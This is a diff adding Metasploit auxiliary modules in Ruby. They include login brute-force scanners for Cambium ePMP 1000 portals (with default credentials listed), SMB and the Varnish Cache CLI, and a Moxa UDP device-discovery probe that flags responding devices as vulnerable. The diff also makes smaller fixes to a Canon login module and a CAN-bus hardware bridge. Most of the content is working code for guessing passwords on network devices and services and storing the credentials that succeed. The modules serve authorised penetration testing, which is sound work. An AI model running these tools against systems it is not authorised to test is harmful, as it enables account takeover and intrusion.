service_name: "Cambium ePMP 1000 v#{epmp_ver}",
|
||||
user: user,
|
||||
password: pass
|
||||
)
|
||||
else
|
||||
# Login failed
|
||||
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,206 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cambium ePMP 1000 Login Scanner',
|
||||
'Description' => %{
|
||||
This module scans for Cambium ePMP 1000 management login portal(s), and attempts to identify valid credentials. Default login credentials are - admin/admin, installer/installer, home/home and readonly/readonly. Tested versions <=3.2.1 (current version). This should work fine for any future releases.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'VERBOSE' => true })
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
|
||||
OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),
|
||||
OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'admin'])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
unless is_app_epmp1000?
|
||||
return
|
||||
end
|
||||
|
||||
each_user_pass do |user, pass|
|
||||
do_login(user, pass)
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
#
|
||||
# Check if App is Cambium ePMP 1000
|
||||
#
|
||||
|
||||
def is_app_epmp1000?
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
}
|
||||
)
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
||||
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
|
||||
return false
|
||||
end
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers['Server'] &&
|
||||
(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
|
||||
)
|
||||
|
||||
if good_response
|
||||
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
|
||||
if !get_epmp_ver.nil?
|
||||
epmp_ver = get_epmp_ver[1]
|
||||
if !epmp_ver.nil?
|
||||
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
|
||||
return true
|
||||
else
|
||||
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
|
||||
return true
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Brute-force the login page
|
||||
#
|
||||
|
||||
def do_login(user, pass)
|
||||
print_status("#{rhost}:#{rport} - Attempting to login...")
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/cgi-bin/luci',
|
||||
'method' => 'POST',
|
||||
'headers' => {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Accept' => 'application/json, text/javascript, */*; q=0.01'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => 'dashboard',
|
||||
'password' => ''
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers.include?('Set-Cookie') &&
|
||||
res.headers['Set-Cookie'].include?('sysauth')
|
||||
)
|
||||
|
||||
if good_response
|
||||
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
|
||||
|
||||
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/cgi-bin/luci',
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie1,
|
||||
'headers' => {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Accept' => 'application/json, text/javascript, */*; q=0.01',
|
||||
'Connection' => 'close'
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => user,
|
||||
'password' => pass
|
||||
}
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
good_response = (
|
||||
res &&
|
||||
res.code == 200 &&
|
||||
res.headers.include?('Set-Cookie') &&
|
||||
res.headers['Set-Cookie'].include?('stok=')
|
||||
)
|
||||
|
||||
if good_response
|
||||
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
#
|
||||
# Extract ePMP version
|
||||
#
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
}
|
||||
)
|
||||
|
||||
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
|
||||
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: "Cambium ePMP 1000 version #{epmp_ver}",
|
||||
user: user,
|
||||
password: pass
|
||||
)
|
||||
|
||||
else
|
||||
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -70,7 +70,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
#grab Canon sessionid cookie
|
||||
idcookie = res.nil? ? nil : res.get_cookies
|
||||
|
||||
if res.code == 301 || res.code == 302 && res.headers.include?('Location')
|
||||
if res && (res.code == 301 || res.code == 302 && res.headers.include?('Location'))
|
||||
print_good("#{rhost} - SUCCESSFUL login with USER='#{datastore['USER']}' : PASSWORD='#{datastore['PASSWD']}'")
|
||||
|
||||
#grab Canon IR= session cookie
|
||||
|
|
|
@ -0,0 +1,107 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::UDPScanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Moxa UDP Device Discovery',
|
||||
'Description' => %q(
|
||||
The Moxa protocol listens on 4800/UDP and will respond to broadcast
|
||||
or direct traffic. The service is known to be used on Moxa devices
|
||||
in the NPort, OnCell, and MGate product lines.
|
||||
|
||||
A discovery packet compels a Moxa device to respond to the sender
|
||||
with some basic device information that is needed for more advanced
|
||||
functions. The discovery data is 8 bytes in length and is the most
|
||||
basic example of the Moxa protocol. It may be sent out as a
|
||||
broadcast (destination 255.255.255.255) or to an individual device.
|
||||
|
||||
Devices that respond to this query may be vulnerable to serious
|
||||
information disclosure vulnerabilities, such as CVE-2016-9361.
|
||||
|
||||
The module is the work of Patrick DeSantis of Cisco Talos and is
|
||||
derived from original work by K. Reid Wightman. Tested and validated
|
||||
on a Moxa NPort 6250 with firmware versions 1.13 and 1.15.
|
||||
),
|
||||
'Author' => 'Patrick DeSantis <p[at]t-r10t.com>',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://www.digitalbond.com/blog/2016/10/25/serial-killers/'],
|
||||
[ 'URL', 'http://www.moxa.com/support/faq/faq_detail.aspx?id=646' ],
|
||||
]
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
# Moxa protocol listens on 4800/UDP by default
|
||||
Opt::RPORT(4800)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# The data to be sent via UDP
|
||||
def build_probe
|
||||
# Function Code (first byte) 0x01: Moxa discovery/identify
|
||||
# The fourth byte is the length of the full data payload
|
||||
@probe ||= "\x01\x00\x00\x08\x00\x00\x00\x00"
|
||||
end
|
||||
|
||||
# Called for each response packet
|
||||
def scanner_process(response, src_host, _src_port)
|
||||
# The first byte of a response will always be the func code + 0x80
|
||||
# (the most significant bit of the byte is set to 1, so 0b00000001
|
||||
# becomes 0b10000001, or 0x81).
|
||||
# A valid response is 24 bytes, starts with 0x81, and contains the values
|
||||
# 0x00, 0x90, 0xe8 (the Moxa OIU) in bytes 14, 15, and 16.
|
||||
return unless response[0] == "\x81" && response[14..16] == "\x00\x90\xe8" && response.length == 24
|
||||
@results[src_host] ||= []
|
||||
@results[src_host] << response
|
||||
end
|
||||
|
||||
# Called after the scan block
|
||||
def scanner_postscan(_batch)
|
||||
@results.each_pair do |host, response|
|
||||
peer = "#{host}:#{rport}"
|
||||
|
||||
# Report the host
|
||||
report_host(
|
||||
:host => host,
|
||||
:info => "Moxa Device",
|
||||
)
|
||||
|
||||
# Report the service
|
||||
report_service(
|
||||
host: host,
|
||||
proto: 'udp',
|
||||
port: rport,
|
||||
name: 'Moxa Protocol',
|
||||
)
|
||||
|
||||
if response.empty?
|
||||
vprint_status("#{peer} No Moxa Devices Found.")
|
||||
else
|
||||
print_good("#{peer} Moxa Device Found!")
|
||||
|
||||
# Report vuln
|
||||
report_vuln(
|
||||
host: host,
|
||||
port: rport,
|
||||
proto: 'udp',
|
||||
name: 'Moxa Protocol Use',
|
||||
refs: references
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,221 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/login_scanner/smb2'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Exploit::Remote::SMB::Client
|
||||
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
||||
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
|
||||
def proto
|
||||
'smb'
|
||||
end
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SMB Login Check Scanner',
|
||||
'Description' => %q{
|
||||
SMB1 and SMB2 Compatible Login Scanner module. This version of
|
||||
smb_login will seemlessly work with either version of the protocol.
|
||||
SMB3 support will come at a future date.
|
||||
|
||||
This module will test a SMB login on a range of machines and
|
||||
report successful logins. If you have loaded a database plugin
|
||||
and connected to a database this module will record successful
|
||||
logins and hosts so you can track your access.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'thelightcosine', # RubySMB/SMB2 refactor
|
||||
'tebo <tebo[at]attackresearch.com>', # Original
|
||||
'Ben Campbell', # Refactoring
|
||||
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>', # admin check
|
||||
'Tom Sellers <tom[at]fadedcode.net>' # admin check/bug fix
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '1999-0506'], # Weak password
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'DB_ALL_CREDS' => false,
|
||||
'BLANK_PASSWORDS' => false,
|
||||
'USER_AS_PASS' => false
|
||||
}
|
||||
)
|
||||
deregister_options('RHOST','USERNAME','PASSWORD')
|
||||
|
||||
# These are normally advanced options, but for this module they have a
|
||||
# more active role, so make them regular options.
|
||||
register_options(
|
||||
[
|
||||
Opt::Proxies,
|
||||
OptBool.new('ABORT_ON_LOCKOUT', [ true, "Abort the run when an account lockout is detected", false ]),
|
||||
OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true ]),
|
||||
OptBool.new('DETECT_ANY_AUTH', [false, 'Enable detection of systems accepting any authentication', true])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
print_brute(:level => :vstatus, :ip => ip, :msg => "Starting SMB login bruteforce")
|
||||
|
||||
domain = datastore['SMBDomain'] || ""
|
||||
|
||||
@scanner = Metasploit::Framework::LoginScanner::SMB2.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
local_port: datastore['CPORT'],
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5,
|
||||
max_send_size: datastore['TCP::max_send_size'],
|
||||
send_delay: datastore['TCP::send_delay'],
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
)
|
||||
|
||||
if datastore['DETECT_ANY_AUTH']
|
||||
bogus_result = @scanner.attempt_bogus_login(domain)
|
||||
if bogus_result.success?
|
||||
print_error("This system accepts authentication with any credentials, brute force is ineffective.")
|
||||
return
|
||||
else
|
||||
vprint_status('This system does not accept authentication with any credentials, proceeding with brute force')
|
||||
end
|
||||
end
|
||||
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['SMBPass'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['SMBUser'],
|
||||
user_as_pass: datastore['USER_AS_PASS'],
|
||||
realm: domain,
|
||||
)
|
||||
|
||||
cred_collection = prepend_db_passwords(cred_collection)
|
||||
cred_collection = prepend_db_hashes(cred_collection)
|
||||
|
||||
@scanner.cred_details = cred_collection
|
||||
|
||||
@scanner.scan! do |result|
|
||||
case result.status
|
||||
when Metasploit::Model::Login::Status::LOCKED_OUT
|
||||
if datastore['ABORT_ON_LOCKOUT']
|
||||
print_error("Account lockout detected on '#{result.credential.public}', aborting.")
|
||||
return
|
||||
else
|
||||
print_error("Account lockout detected on '#{result.credential.public}', skipping this user.")
|
||||
end
|
||||
|
||||
when Metasploit::Model::Login::Status::DENIED_ACCESS
|
||||
print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}', #{result.proof}"
|
||||
report_creds(ip, rport, result)
|
||||
:next_user
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' #{result.access_level}"
|
||||
report_creds(ip, rport, result)
|
||||
:next_user
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
end
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status
|
||||
)
|
||||
:abort
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', #{result.proof}"
|
||||
end
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
# This logic is not universal ie a local account will not care about workgroup
|
||||
# but remote domain authentication will so check each instance
|
||||
def accepts_bogus_domains?(user, pass)
|
||||
bogus_domain = @scanner.attempt_login(
|
||||
Metasploit::Framework::Credential.new(
|
||||
public: user,
|
||||
private: pass,
|
||||
realm: Rex::Text.rand_text_alpha(8)
|
||||
)
|
||||
)
|
||||
|
||||
return bogus_domain.success?
|
||||
end
|
||||
|
||||
def report_creds(ip, port, result)
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: port,
|
||||
service_name: 'smb',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: result.credential.private,
|
||||
private_type: (
|
||||
Rex::Proto::NTLM::Utils.is_pass_ntlm_hash?(result.credential.private) ? :ntlm_hash : :password
|
||||
),
|
||||
username: result.credential.public,
|
||||
}.merge(service_data)
|
||||
|
||||
if domain.present?
|
||||
if accepts_bogus_domains?(result.credential.public, result.credential.private)
|
||||
print_brute(:level => :vstatus, :ip => ip, :msg => "Domain is ignored for user #{result.credential.public}")
|
||||
else
|
||||
credential_data.merge!(
|
||||
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
|
||||
realm_value: result.credential.realm
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
last_attempted_at: DateTime.now,
|
||||
status: result.status
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,100 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
require 'metasploit/framework/login_scanner/varnish'
|
||||
require 'metasploit/framework/tcp/client'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Metasploit::Framework::Varnish::Client
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Varnish Cache CLI Login Utility',
|
||||
'Description' => 'This module attempts to login to the Varnish Cache (varnishd) CLI instance using a bruteforce
|
||||
list of passwords.',
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '67670' ],
|
||||
[ 'CVE', '2009-2936' ],
|
||||
[ 'EDB', '35581' ],
|
||||
[ 'URL', 'https://www.varnish-cache.org/trac/wiki/CLI' ]
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'patrick', #original module
|
||||
'h00die <mike@shorebreaksecurity.com>' #updates and standardizations
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(6082),
|
||||
OptPath.new('PASS_FILE', [ true, 'File containing passwords, one per line',
|
||||
File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ])
|
||||
], self.class)
|
||||
|
||||
# We don't currently support an auth mechanism that uses usernames, so we'll ignore any
|
||||
# usernames that are passed in.
|
||||
@strip_usernames = true
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
# first check if we even need auth
|
||||
begin
|
||||
connect
|
||||
if !require_auth?
|
||||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: No Authentication Required"
|
||||
close_session
|
||||
disconnect
|
||||
return
|
||||
else
|
||||
vprint_status "#{ip}:#{rport} - Authentication Required"
|
||||
end
|
||||
close_session
|
||||
disconnect
|
||||
rescue Rex::ConnectionError, EOFError, Timeout::Error
|
||||
print_error "#{ip}:#{rport} - Unable to connect"
|
||||
end
|
||||
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
username: '<BLANK>'
|
||||
)
|
||||
scanner = Metasploit::Framework::LoginScanner::VarnishCLI.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: true,
|
||||
connection_timeout: 10,
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
|
||||
)
|
||||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
module_fullname: fullname,
|
||||
workspace_id: myworkspace_id
|
||||
)
|
||||
if result.success?
|
||||
credential_core = create_credential(credential_data)
|
||||
credential_data[:core] = credential_core
|
||||
create_credential_login(credential_data)
|
||||
|
||||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential.private}"
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
vprint_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential.private}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -37,23 +37,23 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'DefaultAction' => 'WebServer'))
|
||||
|
||||
@operational_status = 0 # 0=unk, 1=connected, 2=not connected
|
||||
@last_errors = Hash.new
|
||||
@last_errors = {}
|
||||
@server_started = Time.new
|
||||
@can_interfaces = Array.new
|
||||
@can_interfaces = []
|
||||
@pkt_response = {} # Candump returned packets
|
||||
end
|
||||
|
||||
def detect_can()
|
||||
@can_interfaces = Array.new
|
||||
def detect_can
|
||||
@can_interfaces = []
|
||||
Socket.getifaddrs.each do |i|
|
||||
if i.name =~ /^can\d+$/ or i.name =~ /^vcan\d+$/ or i.name =~ /^slcan\d+$/
|
||||
if i.name =~ /^can\d+$/ || i.name =~ /^vcan\d+$/ || i.name =~ /^slcan\d+$/
|
||||
@can_interfaces << i.name
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def get_status()
|
||||
status = Hash.new
|
||||
def get_status
|
||||
status = {}
|
||||
status["operational"] = @operational_status
|
||||
status["hw_specialty"] = {}
|
||||
status["hw_capabilities"] = {}
|
||||
|
@ -61,7 +61,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
status["api_version"] = HWBRIDGE_API_VERSION
|
||||
status["fw_version"] = "not supported"
|
||||
status["hw_version"] = "not supported"
|
||||
if @can_interfaces.size > 0
|
||||
unless @can_interfaces.empty?
|
||||
status["hw_specialty"]["automotive"] = true
|
||||
status["hw_capabilities"]["can"] = true
|
||||
end
|
||||
|
@ -69,8 +69,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
status
|
||||
end
|
||||
|
||||
def get_statistics()
|
||||
stats = Hash.new
|
||||
def get_statistics
|
||||
stats = {}
|
||||
stats["uptime"] = Time.now - @server_started
|
||||
stats["packet_stats"] = "not supported"
|
||||
stats["last_request"] = "not supported"
|
||||
|
@ -78,24 +78,24 @@ class MetasploitModule < Msf::Auxiliary
|
|||
stats
|
||||
end
|
||||
|
||||
def get_datetime()
|
||||
def get_datetime
|
||||
{ "system_datetime" => Time.now }
|
||||
end
|
||||
|
||||
def get_timezone()
|
||||
def get_timezone
|
||||
{ "system_timezone" => Time.now.getlocal.zone }
|
||||
end
|
||||
|
||||
def get_ip_config()
|
||||
def get_ip_config
|
||||
end
|
||||
|
||||
#
|
||||
# Stub fucntion to test custom methods
|
||||
# Defines a method "sample_cmd" with one argument "data" which is required
|
||||
#
|
||||
def get_custom_methods()
|
||||
m = Hash.new
|
||||
m["Methods"] = Array.new
|
||||
def get_custom_methods
|
||||
m = {}
|
||||
m["Methods"] = []
|
||||
meth = { "method_name" => "custom/sample_cmd", "method_desc" => "Sample HW test command", "args" => [] }
|
||||
arg = { "arg_name" => "data", "arg_type" => "string", "required" => true }
|
||||
meth["args"] << arg
|
||||
|
@ -104,9 +104,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
m
|
||||
end
|
||||
|
||||
def get_auto_supported_buses()
|
||||
def get_auto_supported_buses
|
||||
detect_can()
|
||||
buses = Array.new
|
||||
buses = []
|
||||
@can_interfaces.each do |can|
|
||||
buses << { "bus_name" => can }
|
||||
end
|
||||
|
@ -127,7 +127,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
return result
|
||||
end
|
||||
`which cansend`
|
||||
if not $?.success?
|
||||
unless $?.success?
|
||||
print_error("cansend from can-utils not found in path")
|
||||
return result
|
||||
end
|
||||
|
@ -146,11 +146,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
hash["Packets"] = []
|
||||
lines = str_packets.split(/\n/)
|
||||
lines.each do |line|
|
||||
if line=~/\w+\s+(\w+) \[\d\] (.+)$/
|
||||
if line =~ /\w+\s+(\w+) \[\d\] (.+)$/
|
||||
id = $1
|
||||
str_data = $2
|
||||
data = str_data.split
|
||||
hash["Packets"] << {"ID" => id, "DATA" => data}
|
||||
hash["Packets"] << { "ID" => id, "DATA" => data }
|
||||
end
|
||||
end
|
||||
hash
|
||||
|
@ -160,7 +160,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
$candump_sniffer = Thread.new do
|
||||
output = `candump #{bus},#{id}:FFFFFF -T #{timeout} -n #{maxpkts}`
|
||||
@pkt_response = candump2hash(output)
|
||||
Thread::exit()
|
||||
Thread::exit
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -171,7 +171,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
# data = string of hex bytes to send
|
||||
# timeout = optional int to timeout on lack of response
|
||||
# maxpkts = max number of packets to recieve
|
||||
def isotp_send_and_wait(bus, srcid, dstid, data, timeout=2000, maxpkts=3)
|
||||
def isotp_send_and_wait(bus, srcid, dstid, data, timeout = 2000, maxpkts = 3)
|
||||
result = {}
|
||||
result["Success"] = false
|
||||
srcid = srcid.to_i(16).to_s(16)
|
||||
|
@ -186,18 +186,18 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
# Should we ever require isotpsend for this?
|
||||
`which cansend`
|
||||
if not $?.success?
|
||||
unless $?.success?
|
||||
print_error("cansend from can-utils not found in path")
|
||||
return result
|
||||
end
|
||||
@can_interfaces.each do |can|
|
||||
if can == bus
|
||||
candump(bus,dstid,timeout,maxpkts)
|
||||
candump(bus, dstid, timeout, maxpkts)
|
||||
system("cansend #{bus} #{srcid}##{bytes}")
|
||||
result["Success"] = true if $?.success?
|
||||
result["Packets"] = []
|
||||
$candump_sniffer.join
|
||||
if not @pkt_response.empty?
|
||||
unless @pkt_response.empty?
|
||||
result = @pkt_response
|
||||
end
|
||||
end
|
||||
|
@ -216,7 +216,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
res
|
||||
end
|
||||
|
||||
def not_supported()
|
||||
def not_supported
|
||||
{ "status" => "not supported" }
|
||||
end
|
||||
|
||||
|
@ -224,35 +224,35 @@ class MetasploitModule < Msf::Auxiliary
|
|||
if request.uri =~ /status$/i
|
||||
print_status("Sending status...")
|
||||
send_response_html(cli, get_status().to_json(), { 'Content-Type' => 'application/json' })
|
||||
elsif request.uri =~/statistics$/i
|
||||
elsif request.uri =~ /statistics$/i
|
||||
print_status("Sending statistics...")
|
||||
send_response_html(cli, get_statistics().to_json(), { 'Content-Type' => 'application/json' })
|
||||
elsif request.uri =~/settings\/datetime\/get$/i
|
||||
elsif request.uri =~ /settings\/datetime\/get$/i
|
||||
print_status("Sending Datetime")
|
||||
send_response_html(cli, get_datetime().to_json(), { 'Content-Type' => 'application/json' })
|
||||
elsif request.uri =~/settings\/timezone\/get$/i
|
||||
elsif request.uri =~ /settings\/timezone\/get$/i
|
||||
print_status("Sending Timezone")
|
||||
send_response_html(cli, get_timezone().to_json(), { 'Content-Type' => 'application/json' })
|
||||
elsif request.uri =~/custom_methods$/i
|
||||
elsif request.uri =~ /custom_methods$/i
|
||||
print_status("Sending custom methods")
|
||||
send_response_html(cli, get_custom_methods().to_json(), { 'Content-Type' => 'application/json' })
|
||||
elsif request.uri=~/custom\/sample_cmd\?data=(\S+)$/
|
||||
elsif request.uri =~ /custom\/sample_cmd\?data=(\S+)$/
|
||||
print_status("Request for custom command with args #{$1}")
|
||||
send_response_html(cli, sample_custom_method($1).to_json(), { 'Content-Type' => 'application/json' })
|
||||
elsif request.uri =~/automotive/i
|
||||
elsif request.uri =~ /automotive/i
|
||||
if request.uri =~ /automotive\/supported_buses/
|
||||
print_status("Sending known buses...")
|
||||
send_response_html(cli, get_auto_supported_buses().to_json, { 'Content-Type' => 'application/json' })
|
||||
elsif request.uri =~/automotive\/(\w+)\/cansend\?id=(\w+)&data=(\w+)/
|
||||
elsif request.uri =~ /automotive\/(\w+)\/cansend\?id=(\w+)&data=(\w+)/
|
||||
print_status("Request to send CAN packets for #{$1} => #{$2}##{$3}")
|
||||
send_response_html(cli, cansend($1, $2, $3).to_json(), { 'Content-Type' => 'application/json' })
|
||||
elsif request.uri =~/automotive\/(\w+)\/isotpsend_and_wait\?srcid=(\w+)&dstid=(\w+)&data=(\w+)/
|
||||
